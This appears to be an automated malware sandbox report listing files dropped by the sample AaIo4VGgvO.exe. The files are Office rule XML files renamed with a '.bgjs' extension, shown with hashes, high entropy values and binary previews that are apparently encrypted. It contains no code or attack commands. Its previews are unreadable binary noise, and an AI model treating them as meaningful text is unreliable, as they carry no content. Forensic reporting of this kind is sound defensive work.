Preview:	<?xmlo7.d4..;,K...X.2..l.P......../o....B..A.v.4.u.e.`.QXJ ......0.1..9..3ki6.....9W..3..z:..fk7+B.).Oe.\|.hC..R.v...p.....RO..n........C..G..>....q.q(.r.......O.:5.....)..bk>.n..]...Q......V.{1....?.]<..k.AI$:...;.0........=0.]?.:d.=...^.5;f........;..7..h9HF....BL..s...f.iy.B..^..=.".A.b]..F.\j3.d...4.V46..g/.\|.....i..&.O......R...i.=..2l..{..j.T...a."..\|.....4..x...K..JUu.W(..Y...../...u0.,.c[.o'.CD..:.K..09H.5.P..\|..k_.hL%?.R.!......s..1.<...3..FJT,V.2.d..#9.......G..8.P.a.}..yW......b....Mm...DS6U./.....f=.\|..1........<y.4...'\|..~..p......`\..[8q....,.._7...y7...s.$.P5.F......q..I....)+...c.....t.O1..'.Y.s).D......w.(xd..}..?E.b..B.. .@X....j\.6..'.W.#q..7h....@.>@....Ey.g...'~QD.....Q..vU<...f2..%.....p.........g......$...=...\M.`7.. .2............dK........G...X.......^.7Q.7...w.&.3.Yu.zA......\\|..w..W.$KR3v......E....a._Pj]4....lH.2..f..}......,-...j..../.Li1...1.X..r.I........."D.F...P..p........... %@....I:...g..f.k*...bW.W...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11792v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	7356
Entropy (8bit):	7.976517288475285
Encrypted:	false
SSDEEP:	192:GLk/AsPaSUzMh8guRqbDC1WrCDbqQo8TBITd:T/AqbUzDguRqlCKQnTmp
MD5:	3CF3AF9921DB1CCFD75C27724B7A09B8
SHA1:	F55CBBD9DEE8C7CE6E8DB04754BF8EC8CDDB6142
SHA-256:	E0C0964523D3A187103D66B81C348F3A4649853E6310AE5EAA62C3C3EA890757
SHA-512:	F501C8E10CAC2664E5BB0B7BF34DADE44DF9B4F4E050B25B563DD50A612F6F8CB9AD441B0BE4997BC4E79CA696408C6D149AE0AEB6FC96D911D4EC3C98AC6D05
Malicious:	false
Preview:	<?xml....!.a..xA.w.....\.@b1.q.I..\}'..t._.....9..b.Is.......O[4t.W..9L.E.....3.(....!.Z..{..u.....s.l!..n..S..m..`.....Mk2...T.+..E.......Z.......@Q]R...k........0)...._n...C....../"...vc.?.by....n.F=...hK@..z....r.v....h.f.R..<..xb(.G....#/I.~...o..po.=.g.nF...0'.Q.on6..F'....p.~....y$1S...,..Wz5...Ud.b....O:..\|f.....].$.....{.D.1zXV....<.3Sa...........`..i[umo.+.\..Z.N7.....?.J...Z\|..{..o.R..m..~/._Dv.....>Q...."h...$..........@.......--ielKs......B..PO..,rh\......uy......7.'...;p.....sI..s.`.8.r......hq....4...Bq...L6..x...".......7,.9.2O.\....: '.of.Di<g........u....`F4-.2.9.....JG?]n.t.n:....hlP7............O..+....nRA..g.7..A..+R.^..O........^...$.K..SHu......r....[jF.^5.......h=9uo..."s......=7.a...`.....V..W.-.../.=.a.B.........?..'<....m&..JW.L....6.S.'.../_..c*..5..0..%.q..}0....[...t.m..#p....i....v.U.6-ad.t....B&.%.t<u.v.@v...t...X.Oc.0d:.=.......l.Q..L......J...Y..eQ...Q..U.Q.....M..\|.7:...b....3...Xl.a.Y.Mf.......=g........

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11793v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1551
Entropy (8bit):	7.87649277873419
Encrypted:	false
SSDEEP:	24:ozDkLfIZQj53QkHJKm9s0Dwb2J7HyXa7ufNyKJTiWP8yN5Fa8EqbINbD:AmIuj5gmT90wHyX6uVyKJTbPVN5dEzD
MD5:	96026D9E92A3BE2B6D4CA45FD5BF5799
SHA1:	3695CEBFF3E2197CB75EB4280DD98C808E048315
SHA-256:	D3006590A8ABFC26727D1BFE2D7B1990D888778D23FB12C03DF81442FD31AECA
SHA-512:	F7D72384B3D9469E2AFF0D0DB1A5B23604CC8449154384F92F0F66E5B76ABB1BCBF805A3784574F3E018C23CB6982539B7E9C3EE7668894518BF317EB47D4502
Malicious:	false
Preview:	<?xmlU..N......'{\|f.....n.8..4..."S......C.\@J)A.s..6t.F_3"1.-.}..F^.....F.d..g+h.Gq.z.C.....WSOU zXK.@B[=...q.B.k..j.f..^L..r>D.y.."k.?.=.j(.s#8.O)M.[O.@.l.....}.&..b..u^..I'.."y...M.!...?=F5Lh.jI....N...`).L?..I..0.cZ2..e... .?3...'x....Z.....<2.2.l.n.^.<&.'>9..VY.......@rJE.K...2.G7.c..\.:.(.(.j.d.7.[z..YMS...8.w...6v......&....../~..[.N.'.......a.=.....u......@\z6........,...N.._.fS.F....@...khO......6..B...:.I.&........?..w..Yk<.......$q.O,...Q.............a.mqVj.d4....J<..F....O...%.Y...$........F)..e.l.....f.U<ooaZh.=.&.8..7..G...=B. '.+.!.Y.YT.PYd.f}.6....-.-.......H.qu... .t\q.?.,[R.dN>.....^.X.?N...3.%...<....F.....-\.0!..N\.......E.u....;`.P13#.@.....q&z[ Gz;...F.......$._.0.v...4X9...G..Pum. ......._.:.."A....SR.?..ZV...:nx".A_.i....r..g.(.3.r.M.....Z.Q\..O.p...[L.F=2W.?.R.....;..Uo.q..[..QdJ.+.a..Qq.GV.vuli.....Nu.R..U.'.C.CD.7..H.h..M....7Z.m.n........N...R.=.\.'.....U..$.X.\.. ...*...S#....H...?.P4l;..>....6...m....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11794v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.887446604093676
Encrypted:	false
SSDEEP:	48:cinRry60UWsJXF1rkukIR82eMW9Qyy/7D:cinR2sJXXsIR8dvQR/3
MD5:	F468B8D9A284DFC4F03C32DB294C6AC9
SHA1:	E2D54754311F85A915FF68A9391D825B5DDC4BDE
SHA-256:	54C249FE4466FEFE7F2609F6C4CC77F5178FE73922587C70DA8C16C416244FED
SHA-512:	C8CB4B2D0D0748266619478F481484C6865656FE53BED2960917F5C85831F0A037A547629CDFB46AB79B0118634DFDBFA4FE7A03B86F8FA378922E58B7171BAB
Malicious:	false
Preview:	<?xmll.2.......&%6~.Nw..vW..+.(=>L.h!..(...tk.Z7....0..-G7k..p.o.qu...j....$....W.4..M.@........&m.k...u...K..]...OA.sqg.....[....@....(B..>...O..[t..C...Gt.}~...W.CJ..._..eL.;.h.........I...v...\.....\|.x.\.UN.l ./0...8.....OthXS....qCn...$q$b.z...V"#.......!y....f.p.s.3s%9..Y...2.........2.,.o..U..Cq....>..k.:e}4..`.....U.......1...uZ.(.BA..WH..M....1..@p.y....H>....ZU...eh......0..k...5...'...O...Jx...T.v.3..B.bq.@=....E..~ddy.?...->..z..U...P..[.]=.=...9Mp..tZ.K..%.g.....v..L0e'....4).^.,f.Tow.F.E.&....,..CzLl..w.`.s...0.....Y~&.!..h...0.7T)w.f....(t..oX.....TT'.C...p......X}....j.......rz@[H.:.~."b^S..!3i].L.2 <...t.d..E9,.#).h=L..\.N.#q..R....6.....$.;..1..9d^.3...M...:....{...e......[.[.'...&..@.z.(oeS......?.....X..Q......Y..4.b.W..%.e..du...S.....`[.....s.\...1\....$?.;$......shrd.........'..;....JnP=A....{.....kb...&.H..7`xID...5.....f~+...>.w...mb...C..Q..\....Q~.Dl.S&M.o%s./...e...#;..6.V~9..>.T......C../,....o.F.q.yc.2S.../....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11834v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.863482451782469
Encrypted:	false
SSDEEP:	48:XYEp1YWmJnt0/6h240epj0oRxMMpcbi8ibHNBykGbA3jdzZE3D:ow7T340epoexNpuKHNBykyAMz
MD5:	C40CADE4E4F494CD562A5D25241C2968
SHA1:	418ECCFCE0FAAFEB754A14E6119D1110C6CE89E4
SHA-256:	BA83BA027662561CD064157AC710498F5EB7C08E37DA3C333EAA082CE80C165C
SHA-512:	08E2E71AE469FD9E1D8A092B6E6B4F9FB322EB40327488599904F024366952F9EC5504CDA9618A65688EE27615A0235D8DF2A915E09C03FC591491DDD9DA7392
Malicious:	false
Preview:	<?xmlxp.X...l.h.!R..N.v..;..w7E....(...........t.+.6....).V....XE.......L'1.....d{....,Cf<{...t....!.OF./H..f.-.P.yU..p..9..@G.....S.......* ...b...&.....Y....zJJ2y`.n...f...H.Zp.a..M.7T..ac..Mm.]...8@...(=u\.O...WH.....V.,..."..=..6`....P+..1..G.>6Et.a0@..ws#x..3_P8..>,i...c#.X....z...UF.B.O....J.7..`..h.\|.9...5.r@m.5E.V......`.....H...Bi.W......f. U.....V...QT._P.t.>!t.!..]...e....M.S<?S.1..C^.. `J..}]u\3.0...rt..Z-..$K.x..A@>.Hc..?.i..8..(... .9..\|..u..y...JA.u..?. .j..V..B.K.B.) b..BT..LS....n<Y...Fp. C)2...w..).].3.U.k.%..!i,f..]....U5V......V....0..==D....F4.O.8..jn`cHM$...16.(u..,O2,CS.U..jp..x..#.).hw.0..........,..E1.@..a^{e.2..D. ...6..].%...R....U.K...".Xs....=1..`2$.1..@... .Xt.M.....L.N...ax"{....B-....._.~......-.3.}8.7.fxD...H."..K......#M$.....@q....'..]..W...8......g....U/..4,9.)K......c...]2....ZL....\|..d...XEQ......)(..K2,=n.no....`$>:0.iv..._.<.g\|.....}.Y.f..;........f.....9E:..=...'!e'...#.;..+.QE.{j.a..Ry. ..../

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11882v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1448
Entropy (8bit):	7.8485476820976805
Encrypted:	false
SSDEEP:	24:QsAdx3vDuA+91mz/TdP5XAzCBHOpUR11j9HsZTQxpBE0g3GbD:OdhvDdImz/RP5XAzCBHL1cTQ2qD
MD5:	84CE0CB2410070EDF2D63CA459148218
SHA1:	6DE7E1A59FD4196A5CBD7E04F42B39696E9EB12F
SHA-256:	006DB0549D8C33D1FBE421142BF84680E1334F66DDE76AEC919418838D3F95D3
SHA-512:	F751A2C46ED4E99926C2771C814B5D96CF505B6B747EC0C16021A1C6C62597F225B694AFF4042FA9388FCAEC901C29827207892AE9B93A260B7FDDD60906FDD1
Malicious:	false
Preview:	<?xmll..r...../n6K5.....r...Kp.sj.(F;.-..;~..j...$.........XN.s.>.:...O...xO....=.$x...".I(..W.}(.......rJ_.z...uk.N!..T.S.".o.vq..S....!....?uMm0..b.........?..C..s..o"...f.xa...`..\|.AZ.E....P.u.J.;.A.....w.A...>l...otlM..... ..}.h..s6...ZAOAw`....A.c'...5.o.dK<...X..om..Q:.a.t....3.JG?"Z.tC..Z.......}.35......S....we..bX.l/...._.#M.............}v......e.rq..$....;$c.......\|...=.>f..z...><6VP...Y.%..K."........&A.m....T2.....:.b..............!...p60#..x.3...2.f...v<..n...k......W.U...E.......W.N,?j.g.....3'....-.D......df..Za...7...0.\X?..f.T.G..W6}...q.....z$.0.&C.J.pa..uVn.J.b..O8.Yh..oi.\|o..l]..>?>..g...A5,.Eq.t....?..."..s.\.=.1.t.zp.2"V....V..*.A.E.o.Y.....~,........}}.=..r.\|Gr..cfy,.^...16R.8c.+.X(.....S..f%.y...js.U]........l..(N.~6...v..........L0[_...!C.d{.x.D.9#.Y..2G}.ggUh...>s....@.-E...Xf..a.e,...W..-U............0....s....^.WF....5...VO...)..nT.......H..-....U...\|.....uW.}X.l..\|.#.2'b4z.W...n.........}.{.N.}......

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11890v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	7.860322931778518
Encrypted:	false
SSDEEP:	24:dfz7K9JlRlz3CgIogz4JQ5CqIM8CA51fpvl4NBJLt1yayIJxT+kucJiiDbD:xiTRV3re4Jn5M8CQFCf9OayW1buKHD
MD5:	B92FEC40D78C0296869FD1835815DC5E
SHA1:	ED710376BAAC4042FC8DFBEC537CA18F0E5E9AB7
SHA-256:	745105D523F557A5EB7F90A2FB5415CAE5F4416E62EADB47BA6112F76DA7C6DC
SHA-512:	FDF8837EB9B48E5F05117FAEAADD7C069583962ED001D4571B5A7CE064D2A08196203EBAE1328DD86B102595231D7B492F655BB4F16D09DF5E8AA874BAE1396E
Malicious:	false
Preview:	<?xml...a.y...!.d..Od.\......e.a..f@.OA1...>.../..+.X\"..V.z..{.w.D..0.QYJIq..5.f...e....wp....+...E.R@.hV..3M.6..P ..../(../.4.JI.../AIW..."..o.&...w[...0f..:..V!.....@4..=.k.....{.+]....s..%z.]Y>'.:...M...z_..s.K.)7....X.G..c......G...}Hy...&..&C......E........`.?.].A.......-8.Yk.b.......J....LO......^{s..m2a.\|s........t:9../.<....5t...d\.....J.FmAR.u.N}..S..=.;..d1..2..n.[...di.b....S..mp.x..f..W.H......L#..Q~....&../../....:LQ]t....\.......q..<.0;.....ew.u.....M._ld..$w..b...3h)..d@..o$\'j.a.8...T.<....]...1p...wv..a.....^l.....:...B...8R...y.h).>...m%...e."E8......~..}z5:N.&.Iu.DfQt.<.A..n.zx..Bw....}[...3)v.A...`.....\.{,[........n.0^@y'..<"]\|.x..pp.5.DP....u..j..N....N.\.B....:6...:LY....w.]-.....}.b....-@...zh......Y..l.c7v.6.j....4..G......4?..<.2..=....By......Hl......{.ES..m2].#V.L.}).?'..:u....@^.t...r!.......L.R0..T.V..P..>...{........$.W"^.1.....^dy..<+...o9VD..;..h.W*W8.G.Fm...N.\|..b.M.Wa...,....<.S...`F..yJ0Oc;j...m

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11930v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	7.860047202142351
Encrypted:	false
SSDEEP:	24:zaH2AQ96Zv8fwOEIHVMuELllAhswIuHbWI4bNKCqSX4ThGs3fdno2Jskhr13/HEM:zaHy6h8fZrgqTFiI4bkfbV13cNnaD
MD5:	472F4F11A7FF1535A05E5573888DD8E6
SHA1:	9F6144A703B5EB3590F6B61CCAB08468D8918ED6
SHA-256:	6D10A21E41424EEF02AB2209C718EB3CBCAB51347D5A6C50708B10EBEA31BE13
SHA-512:	44492B12480839D2DE6F3DB59B69FF704091ECB47F5925E34B46D2F25F30A50204220C5E2632F6566AA4A8342473F1399D06EC2D0C8573A113C191A84356F61C
Malicious:	false
Preview:	<?xml.....O.L.R.$z.-..p1s.y...H..t...t.ZR...cW...kB/..A...;..B.....(8{g....<D...). f?OA.&...[.\l^?S......l\...H.F]..m...7^...wG.....M......lG..U...V.e1..[Wxb...#....v(....{j..&..u....4...I%b..#T..Rja8])I~.EA<V(..[ ?4.o.\.f...mG\.........n....ep\,Yn...<...B1.#...\T...n.W.>4m....g[J......-?+G..,../`.CWN.....8)...>.s...aZ..d...N..w.c......X.t.@.....{%...x.` W..3!..`.Q0.?.$LS.."j..a..^.d. ..#.#.....V..b0..ea..O.(..."v.<.....0..3.wr.....A.x .uT!'..i..(.7..K.....=Ka..,'....j.Y...\.waw....A..0x......w..:.r.(`...........X.wI,......LU....+07..X@L!..`S.....I..?.{.(5.k..k.OBJ...u..<..S.....j..2..X]...B..].X".~..7.=...,?.h5.zo8.u...8sr._^....I....`.1...1o.eL.?..5..L.E .U.b4.*....$.&oj.....q....IB6..C?....i._.I..c!WZ[1.Mv...+.}....?.....G7...?b#ve..T.#i...Q...J\|...j.A.zzo..:.l#.4.n.g%...:......U. .6r....T".D...0J.r.+8...W.. ^{.H.7.V...eU..Q3,.......>3.d..z..........S".1...?.>.....C\|...>.-.>k...1cD.wp..wa.Iu..........<..7<?..~x.].v.m.%...I...~...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11931v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	903
Entropy (8bit):	7.776151192080288
Encrypted:	false
SSDEEP:	24:Y2n4rGjQK17vKmkL0TDUV+NgN9eVRQAOhObD:Y2nAWjpKMsV+NvcA5D
MD5:	76A1BF77A05CEE9C10294BCF1F4A7799
SHA1:	33D41861343932EDBA86F6737FFF63EDFE64514E
SHA-256:	83CDECC0F3C189D12520A3F02DBDB57D81FB6C1EA131250C82E6F4297F0FA136
SHA-512:	AB12AAB5C16F5AEF98B63CE7825AF7251831A6AC0253B0429741880E31A5851D8194BA467F5FD58AC6EE83FD0150AC625F4282FD1AFBFABA18E54EC730E23930
Malicious:	false
Preview:	<?xml)..F'.m..&..)..:et.....;(3~q.\|'^P.x.S`^.~/.rW[3...R...O........c.....B...@VO..?......B'...r}..U..8sF.4..{.~v.NC........c....r'.5.K..d..-Vw...5.g....f=D...LI.J.t....V...+C......)..'.......!...k@... q....s..m.N......xZ.jD..J9.g..b.E....T.D....T..S+C...&.:].U.RE6XH..(........}.u...R..k.........&....M.J[.B..l......:....?......57....M....o......;..< p....P.^6k..'.b`.[..e.E.2......i......C..@.}"...;.....9.Bi!..+<..e...\.~.8.y....N....I.}1.l.k...~...?.NP...EQ.{V.J.@F.J.>..Z..{5..9....R._..gma..r..D#.7T.Jw..-0.,...O...(f.\|.."..W'....z@xZ..=...I..(7......]E.U...O[.6P.!...5D.@5.G.....2..XR.....K...s..)...\.M.=... .l....:I..%.NG-."../..1Y..?..r..eg.#....N<>..\......j..0E. I...$.i.t...R?=..._.\Z..i[&.g=M.WgZ...$..H\|..V.9S.6..X:...pc)....M\|.].7h..@....@"......q"..Q.%.).SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11932v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3566
Entropy (8bit):	7.94785925565858
Encrypted:	false
SSDEEP:	48:B5jqohxtQETC/NxSqwtbdqmHrXlXdio3UNH5bM44jA/nDr/wF65JtVEBDoK6u+BZ:bqWNTSr2tbkmHrytKvjSr/wEJvvDBZ
MD5:	498BB6D239F6D28D765E585C59F2AF75
SHA1:	E8A36F66C077B2A829BBBC8258129E213AEC12F7
SHA-256:	AC9CC5C06CCD4543E1E313C08225A764A52B7204D27DCF2A7D32A4D104C02877
SHA-512:	6DBC2E56A9CE9269C3112AD88CF63B81D06ACAF190D8B7185CF5D80360DF43C55DEC1EDD0F20FA1595438B1ECC18B6A2434BDD6B253B8043B524166140522002
Malicious:	false
Preview:	<?xmlb..Mw......y.:l...y.!..q~.d?Q6....h............R.x.LvHaK.....{Hh3..Z.1z."...[.F.L.D..../....0. .6.P..{n.P.jXk7.9..._........&ol.....J..Vy.>....U..W..V..j.'.9<...(.t..\+(.;..B_...su...2.[...B..>.X...M.\|?.i.Y..N.\.x.........lo.8v..]....[.. ../.`~~..Q..[.^..:.\|..v....Ar+]....Y.KGw&.[.....d.=>...A..1N.<..gV..Lo......o.<E..-..?T...$~....[(..F6........x-;..`.d..i9,W.%m#].6..,pVJ...Vg%.h.p.eC..J.!...!.....I._.@........on.hk....[...}H..lmjl.W"J=........&.!>.Ht.E...5QpZd;P.....')T!M .u.r4...I...&...o...`.5....o^......... .....rg../S...bh.....I..KL.....'5..'....~....p..J.....R.#p..{..?H.n.5...Yq .... Sh...3$)I.3..O..i~E).....2...H..y.....F....E+,.e.....,v.A...P).........~.?...4..V.%.6...J....i...'`.....@..."..j..U.2&.T...?.o.[.....\|..._n.M.v...Z......{..hXm..E..~....:..'...e..Y.{.....8.!..y6......C..k...6,.....e..8r+M<..v*..3.`X...jV...\|.....\.f.!..'.q..3.w.>z.u?>O...4...}}'.]..3.....!.4U....vT)P...q..v...;...(....l.hJ.wb.Y..+.~1."m..#...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11933v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3677
Entropy (8bit):	7.952837569694388
Encrypted:	false
SSDEEP:	96:rBt+E5WB1oyXZmsUWIHBz5/f6Z0DbrvSsFfYL:rBQYB5Bz5X6Z+SsFwL
MD5:	1607AE91412538A02595DC10B1D79447
SHA1:	5833B1D7FFA1CFBD26766A3CE43EEB8308AF47FB
SHA-256:	112FADF7395B741CC8AD326960E5A2AF50ACFC3C12CBE2CB483E05C8A132C568
SHA-512:	EA00E1876935609DB88F9C66BFBECC228F28C1D980073100B5C10F017DB200D8BF480720CBAAC9148137D304E6B4E870C56E74CB4B5FD48FD4BF441013582533
Malicious:	false
Preview:	<?xmlY...leF......G....jT.%..^...P.A.i.3VUZj{.$f{U&2..RA/.0e1.CG......i.....s06..3..=.....H.\|..V..N.x?..u...%...`...&S.o..R.8Q.R... ...t..@..{.....k2......E.I..X2..g...........%]wY..8]....+...[`..T..;5......g....M..M.$. K.."G...........hW.q>..]tdB.uS.\\n......zA..........y.G8.\|....6.a.1........e=k..>...;q.....tR...g.....@...]b.=.../..w@..j.jDa7.a.x..e...........C[.....\.x....mLTU..+...C\|.t.../n..E....bd.os.rJ.]...>..o#.e.i..........1~...I..MP..../.0.p:..3...oV...0s....gKa)..j}.CS^~.o.F.....f.{."..H ..X...][;.-..)..A8.<....U~.e.#.S)....4....Z..U......4..").{....%v....H^".1s..1w..C.3s.Yp....8..N...).&..T...=fUD.S...nI. ;g..(:Ra.....&#JYr..A...%.{G.q.J....b.o...pZ)h._..x..%!.Y......c....{i2.+b..#A.\2=)qHJZfG.z........hs.eL(..q.,..u.]..,......K.....nqXo....6.U.SP4..)W........>V...B....&.....j..$..8.z........&W....[~.1..V....)W0.[....vB....w.J..."...[.\..]d..o.f..f.........?q...bR.q@........h.m..P...`n.:...8..[`...c.l.........mO.,*

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11939v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.686796621173925
Encrypted:	false
SSDEEP:	12:S/YMI2JSI2EEiQpYZecGfLEvZldtqLcw0FGtkgzsWGjGW2uvSSz1+cii9a:z232264hb0ww0FTgzZh6PAbD
MD5:	9306098B5795E7F75E1948B0E328CBB6
SHA1:	1A661D6DD78271968AF265027091ADBE4E51D4D0
SHA-256:	DBF8F47FEAB23A32F54902AEFBBC9FF3DDD1382325118771AB7FAED146E47904
SHA-512:	1A2ECB18643045211CF61F884724114BFCED7BCB4B45523A78052AE3124577AC12E65A729292961565CB3D4AC874C85FAED18EC42FBDBD7278ADBE9D369F607F
Malicious:	false
Preview:	<?xml....r..c......'...A.w....T...]...h\|...o.E~.<.s.._..:DW..KIc\..V.}#.Gi=..(..Y...+..g..`.ye.&^..~.<...%U...Z....r...\|Z.5w.....w'...!Zn..`.V....#%x.n2^...9..#...k].eAD..Z`...w2......!.....&...Z.-V.=...._.O.I.Ue.1.N?...}..\....Ni....'..myP(.m(K..Qu..:P..D1.."B.z.....\%i..1@..BM..z..1.-..XTTg.pK..V..U....q..5.G...B.}Kb....`.\<z..<..Q'`Vcp..C.....[vc.P.t1,]-.....Y.Z!..)C.`Z..%~.0SA )...?..c.F..<I".I.....(......P.....3..{.0N.k.U.j84.E..M....0.b. We.+..@.:..-2.+[.y....\.Z..N2...vj..e. ...\|...J\d..S...........[..6e.....c=...(6l..j..^cS..C........K.m,.p.,..S6.....Al...k}.....;.G.B..#UR._...2.f..>.t..W.d.?.......C.nx+..3ca.P.B.K5...`\.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11950v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1620
Entropy (8bit):	7.874399334503346
Encrypted:	false
SSDEEP:	48:baXe0fdDX6856c+NebPKcOvbMPNFsy8M/Z1mD:bCe6LSc+obPKcOTMPXx/Z1+
MD5:	B7701A6B82497F4C7A355E628AECFB15
SHA1:	C15C3E1F585D42C28CA65548512F00D79799BB65
SHA-256:	D2D9A83DBC4E1427C75039240A79E736587816700D8AAA44E3DAA6BD4FF51172
SHA-512:	114DD2749F2B50FBBBE4F07B60F40A0BF94D4AD27B651EBA087212F78433C878F28A399738047BF81B00E4762B84389A250D143E69EEF4567DB9E48A316128B6
Malicious:	false
Preview:	<?xml.-....K.....B..y...o.....k..C.0.g...D9;.]c....o._.68....sg..![M..[o..O-0..R.g,M..~..4.I..q......Cr.?r~9..{k.Ag......."./'...S.z.;x..Q..a............>..w......W..pvV-[...&J.v.$"......ts4...2...G..6..@...e.W..._!...........6....2..w.hP3....X.e.......W1.'....Y..;..k.c...Q..#.j..kCD@..$.g...[..I{....1f...a.!g.......}...6....[oA.......:.N.3...C.?.....<....}6b..L.=Ph..'....e8..z..>...;.t...W.a.<!.*.j...S>_....m.U.}".Z..T$+..!........@.e......#....z.i~.2....Y...<..M.D..mI#....J...p..b..SlL.?P...=...~.oXp.U@....SV..]9._..;..r...CC....+%..T.Z.A......m. %.....$.C%...~......f.......c7CY9=....lvE.._.ta<.}..^{...._..T.=.].^.=..$.U<.>.f..]F....R..$..?.N..bJiduS.. .=..<...h.x/U...B..Q2h4S?.k.~m}T\|..N$7i...Z^..j.?-0..."W.U....+........K.RK.m.....>.d..n...v=....Z.X.0.-...+.Sr.....\|M..g..F.%.x. -...WU6..?...#..o...l.mo...SR......\|.ol&..6..1....LN7K.8.......l#..ex...c..\|.....u....}+..Sc...g.'...~I.U .........O.........2..kU...X).5&}....I.Ei.N.~

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11981v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	821
Entropy (8bit):	7.731905289266769
Encrypted:	false
SSDEEP:	12:s5Wq5m/Mtj4PguhiYWwhur2pfWo9NIBwwsdXMqiTsd9EuuJcc1+cii9a:aWCj4PgBvov9N+wwqcqwK9luJcXbD
MD5:	FA8D9299C20AC2F1FE4ED9DE3AFC9EBD
SHA1:	6EF47B9DF07A6F04B892F16795DFBE6B0D7DC334
SHA-256:	2FADA22E53B4ACD0C28C80C0F3311ECD83D50D571DAC14D72654D11BC2F414DB
SHA-512:	86227B27DAE33ACFE6F2DFC97CF96BB57C4A29E03846797D636B95926F897871DE72C65F348D3331B02B37EE9A63C262422707B1E92309DE63BCC5B3D6164CE3
Malicious:	false
Preview:	<?xml. .03[.I%._....0.e..n3..w...3{..I...v....._.@.[.{...'."....s.5..o......\..!".D..D...sBz.......bC..1...PLP....f.m`...l...5.h^9.-<n. .:.K.l......Y=..V....4]..1....:$yc;P=...A.k(:...(hus.b.8n....@....0..c.iF/..A.^V..g.......Dqe..EuZ..^v\...%....<.e.k\..m.......]>...C..Q'.{4...6.T ..u..\|}.....p._.....m.)\1.3.x[.u.........+..$..Xb.z...g,.'...R}...$.\|.-.e..x.cH.2.}.(..L.g..G..e!..`...mC.U.....>lx~..];`mZ..PB..Z(.uH.a..D..f.....7q..6...UP.(.gA.D.K...I.UK2;y....A.7....oK.SvG.%...Gj.Cy...dG.ig..}......%I\T.....t./.Yav..0.......t.<m.^.........b..lJI..I....k^U....:;...UDr./...H.2...G..m7.E.v..I.2...'.%S.q*2..y........!.X..H....p.f.).......I.'....k6....4.l....1gn.M.K...Pm..N...@..6...\...).......A.3Uyw.=...bSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11989v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1034
Entropy (8bit):	7.777935691501506
Encrypted:	false
SSDEEP:	24:2HR64R3JfqgbzDiaq6iFqeC5PClpgXnIPMwpl1bD:2HR64R3JigbKaqjFqeC5qlyIPxpLD
MD5:	C7DF638A82D914C18217B98AA6CD3E75
SHA1:	2582A852EA7C941E887CD4CAAFD082ECA93F4F2B
SHA-256:	7C59DF3FE68F5DEDCF9BAF7212369451289053B027F763BA8D0DD8E97D9701FF
SHA-512:	9CEF4038F945948A13F3AF567F704724C213E1E1E079F39369E5EFC963B0A4CF84D1F6C05D2FE881FCB626577AFF3030A298897B1F4D0A41CD1DB5792556ED23
Malicious:	false
